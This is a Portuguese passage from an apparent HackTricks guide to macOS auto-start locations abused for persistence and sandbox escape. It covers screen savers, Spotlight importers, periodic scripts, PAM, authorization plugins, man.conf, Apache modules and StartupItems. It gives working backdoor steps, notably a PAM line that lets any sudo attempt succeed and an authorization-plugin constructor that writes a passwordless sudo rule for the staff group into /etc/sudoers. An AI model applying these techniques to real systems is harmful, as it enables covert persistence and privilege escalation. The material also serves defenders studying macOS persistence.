  • /Library/ColorPickers
  • Necessário acesso root
  • Gatilho: Usar o seletor de cor
  • ~/Library/ColorPickers
  • Gatilho: Usar o seletor de cor

Descrição & Exploração

Compile um pacote de seletor de cor com seu código (você pode usar este aqui, por exemplo) e adicione um construtor (como na seção de Protetor de Tela) e copie o pacote para ~/Library/ColorPickers.

Então, quando o seletor de cor for acionado, seu código também deverá ser.

Note que o binário que carrega sua biblioteca tem uma sandbox muito restritiva: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

{% code overflow="wrap" %}

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

{% endcode %}

Plugins de Sincronização do Finder

Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html

  • Útil para contornar sandbox: Não, porque você precisa executar seu próprio aplicativo
  • TCC bypass: ???

Localização

  • Um aplicativo específico

Descrição & Exploração

Um exemplo de aplicativo com uma Extensão de Sincronização do Finder pode ser encontrado aqui.

Aplicativos podem ter Extensões de Sincronização do Finder. Esta extensão ficará dentro de um aplicativo que será executado. Além disso, para que a extensão possa executar seu código, ela deve ser assinada com algum certificado válido de desenvolvedor da Apple, deve ser sandboxed (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Protetor de Tela

Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • Útil para contornar sandbox: 🟠
  • Mas você terminará em um sandbox de aplicação comum
  • Bypass de TCC: 🔴

Localização

  • /System/Library/Screen Savers
  • Necessário root
  • Gatilho: Selecionar o protetor de tela
  • /Library/Screen Savers
  • Necessário root
  • Gatilho: Selecionar o protetor de tela
  • ~/Library/Screen Savers
  • Gatilho: Selecionar o protetor de tela

Descrição & Exploração

Crie um novo projeto no Xcode e selecione o template para gerar um novo Protetor de Tela. Em seguida, adicione seu código a ele, por exemplo, o seguinte código para gerar logs.

Construa o projeto, e copie o pacote .saver para ~/Library/Screen Savers. Depois, abra a GUI do Protetor de Tela e se você apenas clicar nele, ele deve gerar muitos logs:

{% code overflow="wrap" %}

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

{% endcode %}

{% hint style="danger" %} Observe que, devido aos direitos de acesso do binário que carrega este código (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver), onde se pode encontrar com.apple.security.app-sandbox, você estará dentro do sandbox comum de aplicativos. {% endhint %}

Código do Saver:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Plugins do Spotlight

writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • Útil para contornar sandbox: 🟠
  • Mas você terminará em uma sandbox de aplicativo
  • Contornar TCC: 🔴
  • A sandbox parece muito limitada

Localização

  • ~/Library/Spotlight/
  • Gatilho: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
  • /Library/Spotlight/
  • Gatilho: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
  • Necessário acesso root
  • /System/Library/Spotlight/
  • Gatilho: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
  • Necessário acesso root
  • Some.app/Contents/Library/Spotlight/
  • Gatilho: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado.
  • Necessário novo aplicativo

Descrição & Exploração

O Spotlight é o recurso de busca integrado do macOS, projetado para fornecer aos usuários acesso rápido e abrangente aos dados em seus computadores.
Para facilitar essa capacidade de busca rápida, o Spotlight mantém um banco de dados proprietário e cria um índice analisando a maioria dos arquivos, permitindo buscas rápidas tanto pelos nomes dos arquivos quanto pelo seu conteúdo.

O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa 'servidor de metadados'. Este processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexação de diferentes tipos de arquivos (ps -ef | grep mdworker). Essas tarefas são possíveis através dos plugins importadores do Spotlight, ou pacotes ".mdimporter", que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo.

Os plugins ou pacotes .mdimporter estão localizados nos lugares mencionados anteriormente e, se um novo pacote aparecer, ele é carregado em minutos (não é necessário reiniciar nenhum serviço). Esses pacotes precisam indicar quais tipos de arquivo e extensões eles podem gerenciar, assim, o Spotlight os utilizará quando um novo arquivo com a extensão indicada for criado.

É possível encontrar todos os mdimporters carregados executando:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

E, por exemplo, /Library/Spotlight/iBooksAuthor.mdimporter é usado para analisar esses tipos de arquivos (extensões .iba e .book entre outros):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

{% hint style="danger" %} Se você verificar o Plist de outros mdimporter, pode não encontrar a entrada UTTypeConformsTo. Isso ocorre porque é um Identificador de Tipo Uniforme (UTI) integrado e não precisa especificar extensões.

Além disso, os plugins padrão do sistema sempre têm precedência, então um atacante só pode acessar arquivos que não são indexados pelos próprios mdimporters da Apple. {% endhint %}

Para criar seu próprio importador, você pode começar com este projeto: https://github.com/megrimm/pd-spotlight-importer e depois mudar o nome, os CFBundleDocumentTypes e adicionar UTImportedTypeDeclarations para que ele suporte a extensão que você deseja e reflita-os no schema.xml.
Em seguida, mude o código da função GetMetadataForFile para executar seu payload quando um arquivo com a extensão processada for criado.

Finalmente, construa e copie seu novo .mdimporter para um dos locais anteriores e você pode verificar se ele está carregado monitorando os logs ou verificando mdimport -L.

Painel de Preferências

{% hint style="danger" %} Parece que isso não está mais funcionando. {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0009/

  • Útil para contornar sandbox: 🟠
  • É necessária uma ação específica do usuário
  • Contorno de TCC: 🔴

Localização

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

Descrição

Parece que isso não está mais funcionando.

Contorno de Sandbox Root

{% hint style="success" %} Aqui você pode encontrar locais de início úteis para contorno de sandbox que permitem executar algo simplesmente escrevendo em um arquivo sendo root e/ou exigindo outras condições estranhas. {% endhint %}

Periódico

Writeup: https://theevilbit.github.io/beyond/beyond_0019/

  • Útil para contornar sandbox: 🟠
  • Mas você precisa ser root
  • Contorno de TCC: 🔴

Localização

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
  • Root necessário
  • Gatilho: Quando chegar a hora
  • /etc/daily.local, /etc/weekly.local ou /etc/monthly.local
  • Root necessário
  • Gatilho: Quando chegar a hora

Descrição & Exploração

Os scripts periódicos (/etc/periodic) são executados por causa dos daemons de lançamento configurados em /System/Library/LaunchDaemons/com.apple.periodic*. Observe que os scripts armazenados em /etc/periodic/ são executados como o proprietário do arquivo, então isso não funcionará para uma potencial escalada de privilégios.

{% code overflow="wrap" %}

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local
Existem outros scripts periódicos que serão executados indicados em **`/etc/defaults/periodic.conf`**:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

Se você conseguir escrever em qualquer um dos arquivos /etc/daily.local, /etc/weekly.local ou /etc/monthly.local, ele será executado mais cedo ou mais tarde.

{% hint style="warning" %} Observe que o script periódico será executado como o proprietário do script. Portanto, se um usuário comum for o proprietário do script, ele será executado como esse usuário (isso pode prevenir ataques de escalada de privilégios). {% endhint %}

PAM

Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • Útil para contornar sandbox: 🟠
  • Mas você precisa ser root
  • Contornar TCC: 🔴

Localização

  • Sempre requer root

Descrição & Exploração

Como o PAM é mais focado em persistência e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, leia os writeups para entender melhor esta técnica.

Verifique os módulos PAM com:

ls -l /etc/pam.d

Uma técnica de persistência/escalada de privilégios que abusa do PAM é tão simples quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha:

auth       sufficient     pam_permit.so

Então, ficará algo assim:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

E portanto, qualquer tentativa de usar sudo funcionará.

{% hint style="danger" %} Note que este diretório é protegido pelo TCC, então é muito provável que o usuário receba um prompt pedindo acesso. {% endhint %}

Plugins de Autorização

Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Útil para contornar sandbox: 🟠
  • Mas você precisa ser root e fazer configurações extras
  • Bypass do TCC: ???

Localização

  • /Library/Security/SecurityAgentPlugins/
  • Necessário ser root
  • Também é necessário configurar o banco de dados de autorização para usar o plugin

Descrição & Exploração

Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para mais informações sobre como criar um desses plugins, confira os writeups anteriores (e tenha cuidado, um mal escrito pode bloquear seu acesso e você precisará limpar seu mac no modo de recuperação).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Mova o pacote para o local a ser carregado:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Finalmente adicione a regra para carregar este Plugin:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

O evaluate-mechanisms informará ao framework de autorização que será necessário chamar um mecanismo externo para autorização. Além disso, privileged fará com que seja executado pelo root.

Ative-o com:

security authorize com.asdf.asdf

E então o grupo staff deve ter acesso sudo (leia /etc/sudoers para confirmar).

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

  • Útil para contornar sandbox: 🟠
  • Mas você precisa ser root e o usuário deve usar man
  • Contorno de TCC: 🔴

Localização

  • /private/etc/man.conf
  • Root necessário
  • /private/etc/man.conf: Sempre que man é usado

Descrição & Exploração

O arquivo de configuração /private/etc/man.conf indica o binário/script a ser usado ao abrir arquivos de documentação man. Assim, o caminho para o executável pode ser modificado para que sempre que o usuário use man para ler alguns documentos, um backdoor seja executado.

Por exemplo, defina em /private/etc/man.conf:

MANPAGER /tmp/view

E então crie /tmp/view como:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

  • Útil para contornar sandbox: 🟠
  • Mas você precisa ser root e o apache precisa estar em execução
  • Bypass de TCC: 🔴
  • Httpd não possui entitlements

Localização

  • /etc/apache2/httpd.conf
  • Necessário ser root
  • Gatilho: Quando o Apache2 é iniciado

Descrição & Exploração

Você pode indicar em /etc/apache2/httpd.conf para carregar um módulo adicionando uma linha como:

{% code overflow="wrap" %}

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

{% endcode %}

Dessa forma, seu módulo compilado será carregado pelo Apache. A única coisa é que você precisa assiná-lo com um certificado Apple válido, ou precisa adicionar um novo certificado confiável no sistema e assiná-lo com ele.

Então, se necessário, para garantir que o servidor será iniciado, você poderia executar:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Exemplo de código para o Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Estrutura de auditoria BSM

Writeup: https://theevilbit.github.io/beyond/beyond_0031/

  • Útil para contornar sandbox: 🟠
  • Mas você precisa ser root, auditd estar em execução e causar um aviso
  • Bypass de TCC: 🔴

Localização

  • /etc/security/audit_warn
  • Necessário ser root
  • Gatilho: Quando auditd detecta um aviso

Descrição & Exploração

Sempre que auditd detecta um aviso, o script /etc/security/audit_warn é executado. Assim, você poderia adicionar seu payload nele.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Você pode forçar um aviso com sudo audit -n.

Itens de Inicialização

{% hint style="danger" %} Isso está obsoleto, portanto, nada deve ser encontrado nos seguintes diretórios. {% endhint %}

Um StartupItem é um diretório que é colocado em uma destas duas pastas: /Library/StartupItems/ ou /System/Library/StartupItems/

Após colocar um novo diretório em um desses dois locais, mais dois itens precisam ser colocados dentro desse diretório. Esses dois itens são um script rc e um plist que contém algumas configurações. Esse plist deve ser chamado de “StartupParameters.plist”.

{% tabs %} {% tab title="StartupParameters.plist" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

{% endtab %}

{% tab title="superservicename" %}

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

{% endtab %} {% endtabs %}

emond

{% hint style="danger" %} Não consigo encontrar este componente no meu macOS, então para mais informações, consulte o relatório {% endhint %}

Relatório: https://theevilbit.github.io/beyond/beyond_0023/

A Apple introduziu um mecanismo de registro chamado emond. Parece que nunca foi totalmente desenvolvido, e o desenvolvimento pode ter sido abandonado pela Apple em favor de outros mecanismos, mas ainda está disponível.

Este serviço pouco conhecido pode não ser muito útil para um administrador de Mac, mas para um ator de ameaças, um motivo muito bom seria usá-lo como um mecanismo de persistência que a maioria dos administradores de macOS provavelmente não saberia procurar. Detectar o uso malicioso do emond não deve ser difícil, pois o System LaunchDaemon para o serviço procura scripts para executar em apenas um local:

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

Localização

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • Necessário acesso root
  • Gatilho: Com XQuartz

Descrição & Exploração

XQuartz não está mais instalado no macOS, então se quiser mais informações, consulte o writeup.

kext

{% hint style="danger" %} É tão complicado instalar kext mesmo como root que não vou considerar isso para escapar de sandboxes ou mesmo para persistência (a menos que você tenha um exploit) {% endhint %}

Localização

Para instalar um KEXT como um item de inicialização, ele precisa ser instalado em um dos seguintes locais:

  • /System/Library/Extensions
  • Arquivos KEXT integrados ao sistema operacional OS X.
  • /Library/Extensions
  • Arquivos KEXT instalados por softwares de terceiros

Você pode listar os arquivos kext atualmente carregados com:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

Para mais informações sobre extensões do kernel, consulte esta seção.

amstoold

Writeup: https://theevilbit.github.io/beyond/beyond_0029/

Localização

  • /usr/local/bin/amstoold
  • Necessário ser root

Descrição & Exploração

Aparentemente, o plist de /System/Library/LaunchAgents/com.apple.amstoold.plist estava usando este binário enquanto expunha um serviço XPC... o problema é que o binário não existia, então você poderia colocar algo lá e quando o serviço XPC fosse chamado, seu binário seria executado.

Não consigo mais encontrar isso no meu macOS.

xsanctl

Writeup: https://theevilbit.github.io/beyond/beyond_0015/

Localização

  • /Library/Preferences/Xsan/.xsanrc
  • Necessário ser root
  • Gatilho: Quando o serviço é executado (raramente)

Descrição & exploração

Aparentemente, não é muito comum executar este script e eu nem consegui encontrá-lo no meu macOS, então se você quiser mais informações, confira o writeup.

/etc/rc.common

{% hint style="danger" %} Isso não funciona em versões modernas do MacOS {% endhint %}

Também é possível colocar aqui comandos que serão executados na inicialização. Exemplo de script rc.common regular:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Técnicas e ferramentas de persistência

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: